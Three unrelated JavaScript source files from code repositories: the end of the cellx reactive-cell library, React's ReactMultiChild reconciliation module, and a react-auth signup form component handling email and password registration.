* debugKey?: string,
* owner?: Object,
* validate?: (value, oldValue),
* put?: (value, push: (value), fail: (err), oldValue),
* reap?: (),
* onChange?: (evt: cellx~Event) -> ?boolean,
* onError?: (evt: cellx~Event) -> ?boolean
* }) -> cellx;
*
* @typesign (pull: (push: (value), fail: (err), next) -> *, opts?: {
* debugKey?: string
* owner?: Object,
* validate?: (value, oldValue),
* put?: (value, push: (value), fail: (err), oldValue),
* reap?: (),
* onChange?: (evt: cellx~Event) -> ?boolean,
* onError?: (evt: cellx~Event) -> ?boolean
* }) -> cellx;
*/
function cellx(value, opts) {
if (!opts) {
opts = {};
}
var initialValue = value;
function cx(value) {
var owner = this;
if (!owner || owner == global$1) {
owner = cx;
}
if (!hasOwn.call(owner, CELLS)) {
Object.defineProperty(owner, CELLS, {
value: new Map$1()
});
}
var cell = owner[CELLS].get(cx);
if (!cell) {
if (value === 'dispose' && arguments.length >= 2) {
return;
}
opts = Object.create(opts);
opts.owner = owner;
cell = new Cell(initialValue, opts);
owner[CELLS].set(cx, cell);
}
switch (arguments.length) {
case 0: {
return cell.get();
}
case 1: {
cell.set(value);
return value;
}
default: {
var method = value;
switch (method) {
case 'bind': {
cx = cx.bind(owner);
cx.constructor = cellx;
return cx;
}
case 'unwrap': {
return cell;
}
default: {
var result = Cell.prototype[method].apply(cell, slice.call(arguments, 1));
return result === cell ? cx : result;
}
}
}
}
}
cx.constructor = cellx;
if (opts.onChange || opts.onError) {
cx.call(opts.owner || global$1);
}
return cx;
}
cellx.configure = function(config) {
Cell.configure(config);
};
cellx.ErrorLogger = ErrorLogger;
cellx.EventEmitter = EventEmitter;
cellx.ObservableCollectionMixin = ObservableCollectionMixin;
cellx.ObservableMap = ObservableMap;
cellx.ObservableList = ObservableList;
cellx.Cell = Cell;
cellx.autorun = Cell.autorun;
cellx.transact = cellx.transaction = Cell.transaction;
cellx.KEY_UID = UID;
cellx.KEY_CELLS = CELLS;
/**
* @typesign (
* entries?: Object|Array<{ 0, 1 }>|cellx.ObservableMap,
* opts?: { adoptsValueChanges?: boolean }
* ) -> cellx.ObservableMap;
*
* @typesign (
* entries?: Object|Array<{ 0, 1 }>|cellx.ObservableMap,
* adoptsValueChanges?: boolean
* ) -> cellx.ObservableMap;
*/
function map$$1(entries, opts) {
return new ObservableMap(entries, typeof opts == 'boolean' ? { adoptsValueChanges: opts } : opts);
}
cellx.map = map$$1;
/**
* @typesign (items?: Array|cellx.ObservableList, opts?: {
* adoptsValueChanges?: boolean,
* comparator?: (a, b) -> int,
* sorted?: boolean
* }) -> cellx.ObservableList;
*
* @typesign (items?: Array|cellx.ObservableList, adoptsValueChanges?: boolean) -> cellx.ObservableList;
*/
function list(items, opts) {
return new ObservableList(items, typeof opts == 'boolean' ? { adoptsValueChanges: opts } : opts);
}
cellx.list = list;
/**
* @typesign (obj: cellx.EventEmitter, name: string, value) -> cellx.EventEmitter;
*/
function defineObservableProperty(obj, name, value) {
var privateName = '_' + name;
obj[privateName] = value instanceof Cell ? value : new Cell(value, { owner: obj });
Object.defineProperty(obj, name, {
configurable: true,
enumerable: true,
get: function() {
return this[privateName].get();
},
set: function(value) {
this[privateName].set(value);
}
});
return obj;
}
cellx.defineObservableProperty = defineObservableProperty;
/**
* @typesign (obj: cellx.EventEmitter, props: Object) -> cellx.EventEmitter;
*/
function defineObservableProperties(obj, props) {
Object.keys(props).forEach((function(name) {
defineObservableProperty(obj, name, props[name]);
}));
return obj;
}
cellx.defineObservableProperties = defineObservableProperties;
/**
* @typesign (obj: cellx.EventEmitter, name: string, value) -> cellx.EventEmitter;
* @typesign (obj: cellx.EventEmitter, props: Object) -> cellx.EventEmitter;
*/
function define(obj, name, value) {
if (arguments.length == 3) {
defineObservableProperty(obj, name, value);
} else {
defineObservableProperties(obj, name);
}
return obj;
}
cellx.define = define;
cellx.JS = cellx.js = {
is: is,
Symbol: Symbol$1,
Map: Map$1
};
cellx.Utils = cellx.utils = {
logError: logError,
nextUID: nextUID,
mixin: mixin,
createClass: createClass,
nextTick: nextTick$1,
noop: noop
};
cellx.cellx = cellx; // for destructuring
return cellx;
})));
|
node_modules/react-dom/lib/ReactMultiChild.js
|
ASIX-ALS/asix-final-project-frontend
|
/**
* Copyright 2013-present, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*
*/
'use strict';
var _prodInvariant = require('./reactProdInvariant');
var ReactComponentEnvironment = require('./ReactComponentEnvironment');
var ReactInstanceMap = require('./ReactInstanceMap');
var ReactInstrumentation = require('./ReactInstrumentation');
var ReactCurrentOwner = require('react/lib/ReactCurrentOwner');
var ReactReconciler = require('./ReactReconciler');
var ReactChildReconciler = require('./ReactChildReconciler');
var emptyFunction = require('fbjs/lib/emptyFunction');
var flattenChildren = require('./flattenChildren');
var invariant = require('fbjs/lib/invariant');
/**
* Make an update for markup to be rendered and inserted at a supplied index.
*
* @param {string} markup Markup that renders into an element.
* @param {number} toIndex Destination index.
* @private
*/
function makeInsertMarkup(markup, afterNode, toIndex) {
// NOTE: Null values reduce hidden classes.
return {
type: 'INSERT_MARKUP',
content: markup,
fromIndex: null,
fromNode: null,
toIndex: toIndex,
afterNode: afterNode
};
}
/**
* Make an update for moving an existing element to another index.
*
* @param {number} fromIndex Source index of the existing element.
* @param {number} toIndex Destination index of the element.
* @private
*/
function makeMove(child, afterNode, toIndex) {
// NOTE: Null values reduce hidden classes.
return {
type: 'MOVE_EXISTING',
content: null,
fromIndex: child._mountIndex,
fromNode: ReactReconciler.getHostNode(child),
toIndex: toIndex,
afterNode: afterNode
};
}
/**
* Make an update for removing an element at an index.
*
* @param {number} fromIndex Index of the element to remove.
* @private
*/
function makeRemove(child, node) {
// NOTE: Null values reduce hidden classes.
return {
type: 'REMOVE_NODE',
content: null,
fromIndex: child._mountIndex,
fromNode: node,
toIndex: null,
afterNode: null
};
}
/**
* Make an update for setting the markup of a node.
*
* @param {string} markup Markup that renders into an element.
* @private
*/
function makeSetMarkup(markup) {
// NOTE: Null values reduce hidden classes.
return {
type: 'SET_MARKUP',
content: markup,
fromIndex: null,
fromNode: null,
toIndex: null,
afterNode: null
};
}
/**
* Make an update for setting the text content.
*
* @param {string} textContent Text content to set.
* @private
*/
function makeTextContent(textContent) {
// NOTE: Null values reduce hidden classes.
return {
type: 'TEXT_CONTENT',
content: textContent,
fromIndex: null,
fromNode: null,
toIndex: null,
afterNode: null
};
}
/**
* Push an update, if any, onto the queue. Creates a new queue if none is
* passed and always returns the queue. Mutative.
*/
function enqueue(queue, update) {
if (update) {
queue = queue || [];
queue.push(update);
}
return queue;
}
/**
* Processes any enqueued updates.
*
* @private
*/
function processQueue(inst, updateQueue) {
ReactComponentEnvironment.processChildrenUpdates(inst, updateQueue);
}
var setChildrenForInstrumentation = emptyFunction;
if (process.env.NODE_ENV !== 'production') {
var getDebugID = function (inst) {
if (!inst._debugID) {
// Check for ART-like instances. TODO: This is silly/gross.
var internal;
if (internal = ReactInstanceMap.get(inst)) {
inst = internal;
}
}
return inst._debugID;
};
setChildrenForInstrumentation = function (children) {
var debugID = getDebugID(this);
// TODO: React Native empty components are also multichild.
// This means they still get into this method but don't have _debugID.
if (debugID !== 0) {
ReactInstrumentation.debugTool.onSetChildren(debugID, children ? Object.keys(children).map(function (key) {
return children[key]._debugID;
}) : []);
}
};
}
/**
* ReactMultiChild are capable of reconciling multiple children.
*
* @class ReactMultiChild
* @internal
*/
var ReactMultiChild = {
/**
* Provides common functionality for components that must reconcile multiple
* children. This is used by `ReactDOMComponent` to mount, update, and
* unmount child components.
*
* @lends {ReactMultiChild.prototype}
*/
Mixin: {
_reconcilerInstantiateChildren: function (nestedChildren, transaction, context) {
if (process.env.NODE_ENV !== 'production') {
var selfDebugID = getDebugID(this);
if (this._currentElement) {
try {
ReactCurrentOwner.current = this._currentElement._owner;
return ReactChildReconciler.instantiateChildren(nestedChildren, transaction, context, selfDebugID);
} finally {
ReactCurrentOwner.current = null;
}
}
}
return ReactChildReconciler.instantiateChildren(nestedChildren, transaction, context);
},
_reconcilerUpdateChildren: function (prevChildren, nextNestedChildrenElements, mountImages, removedNodes, transaction, context) {
var nextChildren;
var selfDebugID = 0;
if (process.env.NODE_ENV !== 'production') {
selfDebugID = getDebugID(this);
if (this._currentElement) {
try {
ReactCurrentOwner.current = this._currentElement._owner;
nextChildren = flattenChildren(nextNestedChildrenElements, selfDebugID);
} finally {
ReactCurrentOwner.current = null;
}
ReactChildReconciler.updateChildren(prevChildren, nextChildren, mountImages, removedNodes, transaction, this, this._hostContainerInfo, context, selfDebugID);
return nextChildren;
}
}
nextChildren = flattenChildren(nextNestedChildrenElements, selfDebugID);
ReactChildReconciler.updateChildren(prevChildren, nextChildren, mountImages, removedNodes, transaction, this, this._hostContainerInfo, context, selfDebugID);
return nextChildren;
},
/**
* Generates a "mount image" for each of the supplied children. In the case
* of `ReactDOMComponent`, a mount image is a string of markup.
*
* @param {?object} nestedChildren Nested child maps.
* @return {array} An array of mounted representations.
* @internal
*/
mountChildren: function (nestedChildren, transaction, context) {
var children = this._reconcilerInstantiateChildren(nestedChildren, transaction, context);
this._renderedChildren = children;
var mountImages = [];
var index = 0;
for (var name in children) {
if (children.hasOwnProperty(name)) {
var child = children[name];
var selfDebugID = 0;
if (process.env.NODE_ENV !== 'production') {
selfDebugID = getDebugID(this);
}
var mountImage = ReactReconciler.mountComponent(child, transaction, this, this._hostContainerInfo, context, selfDebugID);
child._mountIndex = index++;
mountImages.push(mountImage);
}
}
if (process.env.NODE_ENV !== 'production') {
setChildrenForInstrumentation.call(this, children);
}
return mountImages;
},
/**
* Replaces any rendered children with a text content string.
*
* @param {string} nextContent String of content.
* @internal
*/
updateTextContent: function (nextContent) {
var prevChildren = this._renderedChildren;
// Remove any rendered children.
ReactChildReconciler.unmountChildren(prevChildren, false);
for (var name in prevChildren) {
if (prevChildren.hasOwnProperty(name)) {
!false ? process.env.NODE_ENV !== 'production' ? invariant(false, 'updateTextContent called on non-empty component.') : _prodInvariant('118') : void 0;
}
}
// Set new text content.
var updates = [makeTextContent(nextContent)];
processQueue(this, updates);
},
/**
* Replaces any rendered children with a markup string.
*
* @param {string} nextMarkup String of markup.
* @internal
*/
updateMarkup: function (nextMarkup) {
var prevChildren = this._renderedChildren;
// Remove any rendered children.
ReactChildReconciler.unmountChildren(prevChildren, false);
for (var name in prevChildren) {
if (prevChildren.hasOwnProperty(name)) {
!false ? process.env.NODE_ENV !== 'production' ? invariant(false, 'updateTextContent called on non-empty component.') : _prodInvariant('118') : void 0;
}
}
var updates = [makeSetMarkup(nextMarkup)];
processQueue(this, updates);
},
/**
* Updates the rendered children with new children.
*
* @param {?object} nextNestedChildrenElements Nested child element maps.
* @param {ReactReconcileTransaction} transaction
* @internal
*/
updateChildren: function (nextNestedChildrenElements, transaction, context) {
// Hook used by React ART
this._updateChildren(nextNestedChildrenElements, transaction, context);
},
/**
* @param {?object} nextNestedChildrenElements Nested child element maps.
* @param {ReactReconcileTransaction} transaction
* @final
* @protected
*/
_updateChildren: function (nextNestedChildrenElements, transaction, context) {
var prevChildren = this._renderedChildren;
var removedNodes = {};
var mountImages = [];
var nextChildren = this._reconcilerUpdateChildren(prevChildren, nextNestedChildrenElements, mountImages, removedNodes, transaction, context);
if (!nextChildren && !prevChildren) {
return;
}
var updates = null;
var name;
// `nextIndex` will increment for each child in `nextChildren`, but
// `lastIndex` will be the last index visited in `prevChildren`.
var nextIndex = 0;
var lastIndex = 0;
// `nextMountIndex` will increment for each newly mounted child.
var nextMountIndex = 0;
var lastPlacedNode = null;
for (name in nextChildren) {
if (!nextChildren.hasOwnProperty(name)) {
continue;
}
var prevChild = prevChildren && prevChildren[name];
var nextChild = nextChildren[name];
if (prevChild === nextChild) {
updates = enqueue(updates, this.moveChild(prevChild, lastPlacedNode, nextIndex, lastIndex));
lastIndex = Math.max(prevChild._mountIndex, lastIndex);
prevChild._mountIndex = nextIndex;
} else {
if (prevChild) {
// Update `lastIndex` before `_mountIndex` gets unset by unmounting.
lastIndex = Math.max(prevChild._mountIndex, lastIndex);
// The `removedNodes` loop below will actually remove the child.
}
// The child must be instantiated before it's mounted.
updates = enqueue(updates, this._mountChildAtIndex(nextChild, mountImages[nextMountIndex], lastPlacedNode, nextIndex, transaction, context));
nextMountIndex++;
}
nextIndex++;
lastPlacedNode = ReactReconciler.getHostNode(nextChild);
}
// Remove children that are no longer present.
for (name in removedNodes) {
if (removedNodes.hasOwnProperty(name)) {
updates = enqueue(updates, this._unmountChild(prevChildren[name], removedNodes[name]));
}
}
if (updates) {
processQueue(this, updates);
}
this._renderedChildren = nextChildren;
if (process.env.NODE_ENV !== 'production') {
setChildrenForInstrumentation.call(this, nextChildren);
}
},
/**
* Unmounts all rendered children. This should be used to clean up children
* when this component is unmounted. It does not actually perform any
* backend operations.
*
* @internal
*/
unmountChildren: function (safely) {
var renderedChildren = this._renderedChildren;
ReactChildReconciler.unmountChildren(renderedChildren, safely);
this._renderedChildren = null;
},
/**
* Moves a child component to the supplied index.
*
* @param {ReactComponent} child Component to move.
* @param {number} toIndex Destination index of the element.
* @param {number} lastIndex Last index visited of the siblings of `child`.
* @protected
*/
moveChild: function (child, afterNode, toIndex, lastIndex) {
// If the index of `child` is less than `lastIndex`, then it needs to
// be moved. Otherwise, we do not need to move it because a child will be
// inserted or moved before `child`.
if (child._mountIndex < lastIndex) {
return makeMove(child, afterNode, toIndex);
}
},
/**
* Creates a child component.
*
* @param {ReactComponent} child Component to create.
* @param {string} mountImage Markup to insert.
* @protected
*/
createChild: function (child, afterNode, mountImage) {
return makeInsertMarkup(mountImage, afterNode, child._mountIndex);
},
/**
* Removes a child component.
*
* @param {ReactComponent} child Child to remove.
* @protected
*/
removeChild: function (child, node) {
return makeRemove(child, node);
},
/**
* Mounts a child with the supplied name.
*
* NOTE: This is part of `updateChildren` and is here for readability.
*
* @param {ReactComponent} child Component to mount.
* @param {string} name Name of the child.
* @param {number} index Index at which to insert the child.
* @param {ReactReconcileTransaction} transaction
* @private
*/
_mountChildAtIndex: function (child, mountImage, afterNode, index, transaction, context) {
child._mountIndex = index;
return this.createChild(child, afterNode, mountImage);
},
/**
* Unmounts a rendered child.
*
* NOTE: This is part of `updateChildren` and is here for readability.
*
* @param {ReactComponent} child Component to unmount.
* @private
*/
_unmountChild: function (child, node) {
var update = this.removeChild(child, node);
child._mountIndex = null;
return update;
}
}
};
module.exports = ReactMultiChild;
|
src/components/SignupForm.js
|
react-auth/react-auth
|
import React from 'react';
import { Link } from 'react-router';
import utils from '../utils';
import context from './../context';
import LoginLink from '../components/LoginLink';
import { signup, loginWithCredentials } from '../actions';
import LoadingText from '../components/LoadingText';
import SocialLoginButton from '../components/SocialLoginButton';
class DefaultSignupForm extends React.Component {
state = {
fields: [
{
label: 'Email',
name: 'email',
placeholder: 'Email',
required: true,
type: 'email'
},
{
label: 'Password',
name: 'password',
placeholder: 'Password',
required: true,
type: 'password'
}
]
};
render() {
let fieldMarkup = [];
this.state.fields.forEach((field, index) => {
var fieldId = `sp-${field.name}-${index}`;
fieldMarkup.push(
<div key={ fieldId } className="form-group">
<label htmlFor={ fieldId } className="col-xs-12 col-sm-4 control-label">{ field.label }</label>
<div className="col-xs-12 col-sm-4">
<input type={ field.type } className="form-control" id={ fieldId } name={ field.name } placeholder={ field.placeholder } required={ field.required } />
</div>
</div>
);
});
fieldMarkup.push(
<div key="register-button" className="form-group">
<div className="col-sm-offset-4 col-sm-4">
<p className="alert alert-danger" spIf="form.error"><span spBind="form.errorMessage" /></p>
<button type="submit" className="btn btn-primary">Register</button>
</div>
</div>
);
return (
<SignupForm {...this.props}>
<div className='sp-login-form'>
<div className="row" spIf="account.created">
<div className="col-sm-offset-4 col-xs-12 col-sm-4">
<p className="alert alert-success" spIf="account.enabled">
Your account has been created. <LoginLink>Login Now</LoginLink>.
</p>
<div spIf="!account.enabled">
<p className="alert alert-success">Your account has been created. Please check your email for a verification link.</p>
<p className="pull-right">
<LoginLink>Back to Login</LoginLink>
</p>
</div>
</div>
</div>
<div className="row" spIf="!account.created">
<div className="col-xs-12">
<div className="form-horizontal">
{ fieldMarkup ? fieldMarkup : <LoadingText /> }
</div>
</div>
</div>
</div>
</SignupForm>
);
}
}
export default class SignupForm extends React.Component {
static contextTypes = {
router: React.PropTypes.object.isRequired
};
state = {
fields: {
firstName: '',
lastName: '',
email: '',
password: ''
},
errorMessage: null,
isFormProcessing: false,
isAccountCreated: false,
isAccountEnabled: false
};
onFormSubmit(e) {
e.preventDefault();
e.persist();
var next = (err, data) => {
if (err) {
return this.setState({
isFormProcessing: false,
errorMessage: err.message
});
}
// If the user didn't specify any data,
// then simply default to what we have in state.
data = data || this.state.fields;
signup(data).then((result) => {
if (result.status === 'ENABLED') {
loginWithCredentials({
username: data.email || data.username,
password: data.password
}).then(() => {
this._performRedirect();
}).catch((err) => {
this.setState({
isFormProcessing: false,
isAccountCreated: false,
errorMessage: err.message
});
});
} else {
this.setState({
isFormProcessing: false,
isAccountCreated: true,
isAccountEnabled: false
});
}
}).catch((err) => {
this.setState({
isFormProcessing: false,
errorMessage: err.message
});
});
};
this.setState({
isFormProcessing: true
});
if (this.props.onSubmit) {
e.data = this.state.fields;
this.props.onSubmit(e, next);
} else {
next(null, this.state.fields);
}
}
_performRedirect() {
var router = context.getRouter();
var homeRoute = router.getHomeRoute();
var authenticatedHomeRoute = router.getAuthenticatedHomeRoute();
var redirectTo = this.props.redirectTo || (authenticatedHomeRoute || {}).path || (homeRoute || {}).path || '/';
this.context.router.push(redirectTo);
}
_mapFormFieldHandler(element, tryMapField) {
if (['input', 'textarea'].indexOf(element.type) > -1) {
if (element.props.type !== 'submit') {
switch(element.props.name) {
case 'email':
tryMapField('email');
break;
case 'login':
case 'username':
tryMapField('username');
break;
case 'first_name':
tryMapField('first_name');
break;
case 'last_name':
tryMapField('last_name');
break;
case 'password':
tryMapField('password');
break;
}
}
}
}
_spIfHandler(action, element) {
var test = null;
switch (action) {
case 'form.processing':
test = this.state.isFormProcessing;
break;
case 'form.error':
test = !!this.state.errorMessage;
break;
case 'account.created':
test = this.state.isAccountCreated;
break;
case 'account.enabled':
test = this.state.isAccountEnabled;
break;
}
return test;
}
_spBindHandler(bind, element) {
var result = false;
switch (bind) {
case 'form.errorMessage':
var className = element.props ? element.props.className : undefined;
result = <span className={className}>{this.state.errorMessage}</span>;
break;
}
return result;
}
render() {
if (this.props.children) {
return (
<form onSubmit={this.onFormSubmit.bind(this)}>
{utils.makeForm(this, this._mapFormFieldHandler.bind(this), this._spIfHandler.bind(this), this._spBindHandler.bind(this))}
</form>
);
} else {
return <DefaultSignupForm {...this.props} />;
}
}
}
|
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